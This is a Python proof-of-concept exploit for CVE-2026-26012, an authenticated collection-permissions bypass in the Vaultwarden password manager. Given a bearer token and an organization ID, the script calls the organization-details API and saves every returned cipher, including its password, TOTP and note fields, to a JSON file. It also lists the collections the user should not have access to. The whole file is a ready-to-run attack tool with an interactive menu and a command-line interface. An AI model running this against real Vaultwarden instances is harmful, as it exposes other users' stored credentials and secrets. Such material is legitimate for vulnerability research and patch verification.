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| #!/usr/bin/env python3
import argparse
import json
import re
import sys
from urllib.error import HTTPError, URLError
from urllib.parse import urljoin
from urllib.request import Request, urlopen
UUID_PATTERN = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
def banner():
print("""
\033[1;31m
@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@@@ @@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@@@ @@@@ @@@@@@@@
!@@ @@! @@@ @@! @@@ @@! @@@@ @@@ !@@ @@@ !@@ @@! @@@@ @@@!! @@@
!@! !@! @!@ !@! @!@ !@! @!@!@ @!@ !@! @!@ !@! !@! @!@!@ !@! @!@
!@! @!@ !@! @!!!:! @!@!@!@!@ !!@ @!@ @! !@! !!@ !!@@!@! @!@!@!@!@ !!@ !!@@!@! @!@ @! !@! @!@ !!@
!!! !@! !!! !!!!!: !!!@!@!!! !!: !@!!! !!! !!: @!!@!!!! !!!@!@!!! !!: @!!@!!!! !@!!! !!! !@! !!:
:!! :!: !!: !!: !:! !!:! !!! !:! !:! !:! !:! !:! !:! !!:! !!! !!: !:!
:!: ::!!:! :!: :!: :!: !:! :!: :!: !:! :!: :!: !:! :!: !:! :!: :!:
::: ::: :::: :: :::: :: ::::: ::::::: :: :: ::::: :::: ::: :: ::::: :::: ::: ::::::: :: ::: :: :::::
:: :: : : : :: :: :: : ::: : : : : :: : ::: :: : : :: : ::: :: : : : : : : :: :: : ::: ░ ░
\033[1;m
Author: Diégo BAELEN
GitHub: https://github.com/diegobaelen
\033[1;31mFilename: CVE-2026-26012.py\033[0m
\033[1;31mDescription: Authentified Organization Collection Permissions Bypass & Cipher Enumeration (Vaultwarden)\033[0m
""")
def menu() -> None:
print("\n\033[1;34m" + "=" * 70 + "\033[0m")
print("\033[1;34m[1]\033[0m Export organization-details to JSON")
print("\033[1;34m[2]\033[0m Compare collections (/api/ciphers/organization-details vs /api/collections)")
print("\033[1;34m[0]\033[0m Quit")
print("\033[1;34m" + "=" * 70 + "\033[0m")
def is_valid_uuid(value: str) -> bool:
return bool(UUID_PATTERN.match(value))
def normalize_target(target: str) -> str:
base = target.rstrip("/")
if not base.startswith(("http://", "https://")):
base = "https://" + base
return base
def format_network_error(exc: URLError | HTTPError) -> str:
"""Return a user-friendly message for network/HTTP errors."""
if isinstance(exc, HTTPError) and exc.code == 401:
return "Authentication failed (401 Unauthorized). Check your Bearer token."
return f"Network error: {exc}"
def fetch_json(headers: dict, base_url: str, path: str) -> dict | None:
url = urljoin(base_url + "/", path.lstrip("/"))
req = Request(url, headers=headers)
with urlopen(req, timeout=30) as resp:
return json.loads(resp.read().decode())
CIPHER_TYPE_LABELS = {
1: "Login",
2: "Secure note",
3: "Card",
4: "Identity",
}
def compute_export_stats(data: dict) -> dict:
"""Compute statistics from organization-details API response."""
items = data.get("data") or []
total = 0
by_type: dict[int, int] = {}
deleted = 0
all_collection_ids: set[str] = set()
with_attachments = 0
with_totp = 0
with_password = 0
with_notes = 0
with_reprompt = 0
for item in items:
if item.get("object") != "cipherDetails":
continue
total += 1
t = item.get("type")
if t is not None:
by_type[t] = by_type.get(t, 0) + 1
if item.get("deletedDate") is not None:
deleted += 1
for cid in item.get("collectionIds") or []:
all_collection_ids.add(cid)
if item.get("attachments") and isinstance(item["attachments"], list):
with_attachments += 1
login = item.get("login") or {}
data_obj = item.get("data") or {}
if login.get("totp") or data_obj.get("totp"):
with_totp += 1
if login.get("password") or data_obj.get("password"):
with_password += 1
if item.get("notes") or data_obj.get("notes"):
with_notes += 1
if item.get("reprompt", 0) != 0:
with_reprompt += 1
return {
"total": total,
"by_type": by_type,
"deleted": deleted,
"active": total - deleted,
"unique_collections": len(all_collection_ids),
"with_attachments": with_attachments,
"with_totp": with_totp,
"with_password": with_password,
"with_notes": with_notes,
"with_reprompt": with_reprompt,
}
def print_export_stats(stats: dict) -> None:
"""Print organization-details statistics to the console."""
w = 22 # label width for vertical alignment of numbers
print("\n\033[1;34m[+] Statistics (organization-details)\033[0m")
print(f" {'Total ciphers:':<{w}} {stats['total']}")
type_parts = []
for t in sorted(stats["by_type"].keys()):
label = CIPHER_TYPE_LABELS.get(t, "Other")
type_parts.append(f"{label}: {stats['by_type'][t]}")
print(f" {'By type:':<{w}} " + (", ".join(type_parts) if type_parts else "—"))
print(f" {'Active / Deleted:':<{w}} {stats['active']} / {stats['deleted']}")
print(f" {'Unique collections:':<{w}} {stats['unique_collections']}")
print(f" {'With attachments:':<{w}} {stats['with_attachments']}")
print(f" {'With TOTP:':<{w}} {stats['with_totp']}")
print(f" {'With password:':<{w}} {stats['with_password']}")
print(f" {'With notes:':<{w}} {stats['with_notes']}")
print(f" {'With reprompt:':<{w}} {stats['with_reprompt']}")
def run_export(args: argparse.Namespace, headers: dict) -> dict | None:
path = f"/api/ciphers/organization-details?organizationId={args.organization_id}"
data = fetch_json(headers, args.target, path)
if data is None:
return None
stats = compute_export_stats(data)
print_export_stats(stats)
out_path = args.output or "CVE-2026-26012.json"
with open(out_path, "w", encoding="utf-8") as f:
json.dump(data, f, indent=2, ensure_ascii=False)
print(f"\n[+] Export saved: {out_path}")
with open(out_path, "r", encoding="utf-8") as f:
lines = f.readlines()
print("\n[+] First 20 lines of output:")
print("-" * 40)
for line in lines[:20]:
print(line.rstrip())
print("-" * 40)
return data
def run_compare(args: argparse.Namespace, headers: dict) -> None:
# Collections the user has access to
coll_resp = fetch_json(headers, args.target, "/api/collections")
if not coll_resp or "data" not in coll_resp:
print("[+] Unable to fetch /api/collections")
return
my_collection_ids = {c["id"] for c in coll_resp["data"] if c.get("id")}
# All collectionIds present in organization-details (cid)
org_path = f"/api/ciphers/organization-details?organizationId={args.organization_id}"
org_data = fetch_json(headers, args.target, org_path)
if not org_data or "data" not in org_data:
print("[+] Unable to fetch organization-details")
return
all_cid_in_org = set()
for item in org_data["data"]:
for cid in item.get("collectionIds") or []:
all_cid_in_org.add(cid)
# Access discrepancy: collections exposed by organization-details that the user does not have access to
only_in_org = all_cid_in_org - my_collection_ids
if only_in_org:
print("\033[1;34m" + "="*70 + "\033[1;m")
print(f"[+] Access discrepancy: {len(only_in_org)} collection(s)")
for cid in sorted(only_in_org):
print(f"[+] {cid}")
else:
print("\033[1;34m" + "="*70 + "\033[1;m")
print("[+] Access discrepancy: none")
def run_interactive() -> None:
banner()
last_url = ""
last_token = ""
last_org_id = ""
last_output = ""
while True:
try:
menu()
choice = input("\n\033[1;34m[+]\033[0m Your choice: ").strip()
if choice == "0":
print("\n\033[1;34m[*] Goodbye.\033[0m\n")
sys.exit(0)
if choice not in ("1", "2"):
print("\n\033[1;31m[+] Invalid choice.\033[0m")
continue
url_prompt = f"[+] Base URL [{last_url}]: " if last_url else "[+] Base URL: "
url = (input(url_prompt).strip() or last_url) or ""
token_prompt = "[+] Bearer token (leave empty to keep): " if last_token else "[+] Bearer token: "
token = (input(token_prompt).strip() or last_token) or ""
org_prompt = f"[+] Organization ID (UUID) [{last_org_id}]: " if last_org_id else "[+] Organization ID (UUID): "
org_id = (input(org_prompt).strip() or last_org_id) or ""
if not url or not token or not org_id:
print("\n\033[1;31m[+] URL, token and organization-id are required.\033[0m")
continue
if not is_valid_uuid(org_id):
print(
f"\n\033[1;31mError: invalid organization-id (expected: UUID). Received: {org_id!r}\033[0m"
)
continue
output = last_output or "CVE-2026-26012.json"
if choice == "1":
out_prompt = f"[+] Output file [{output}]: " if output else "[+] Output file (default: CVE-2026-26012.json): "
out_in = input(out_prompt).strip()
if out_in:
output = out_in
last_url = url
last_token = token
last_org_id = org_id
if choice == "1":
last_output = output
args = argparse.Namespace(
target=normalize_target(url),
token=token,
organization_id=org_id,
output=output,
compare_collections=(choice == "2"),
)
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json",
}
try:
if args.compare_collections:
run_compare(args, headers)
else:
run_export(args, headers)
except (URLError, HTTPError) as e:
print(f"\033[1;31m[+] {format_network_error(e)}\033[0m")
except KeyboardInterrupt:
print("\n\n\033[1;34m[*] Goodbye.\033[0m\n")
sys.exit(0)
def main() -> None:
if len(sys.argv) == 1:
run_interactive()
return
parser = argparse.ArgumentParser(
description="CVE-2026-26012 — POC export organization-details and compare collections."
)
parser.add_argument(
"--url",
"-u",
dest="target",
required=True,
help="Target base URL (required)",
)
parser.add_argument(
"--token",
"-t",
required=True,
help="Bearer token (required)",
)
parser.add_argument(
"--organization-id",
"-uuid",
required=True,
dest="organization_id",
help="Organization UUID (required, validated UUID format)",
)
parser.add_argument(
"--output",
"-o",
default="CVE-2026-26012.json",
help="Output JSON file (default: CVE-2026-26012.json)",
)
parser.add_argument(
"--compare-collections",
"-c",
action="store_true",
help="Compare collectionIds (organization-details vs /api/collections) and display discrepancies",
)
args = parser.parse_args()
banner()
if not is_valid_uuid(args.organization_id):
print(
f"Error: invalid organization-id (expected: UUID format 8-4-4-4-12). Received: {args.organization_id!r}",
file=sys.stderr,
)
sys.exit(2)
args.target = normalize_target(args.target)
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json",
}
try:
if args.compare_collections:
run_compare(args, headers)
else:
run_export(args, headers)
except (URLError, HTTPError) as e:
print(f"[+] {format_network_error(e)}", file=sys.stderr)
sys.exit(3)
if __name__ == "__main__":
main()
|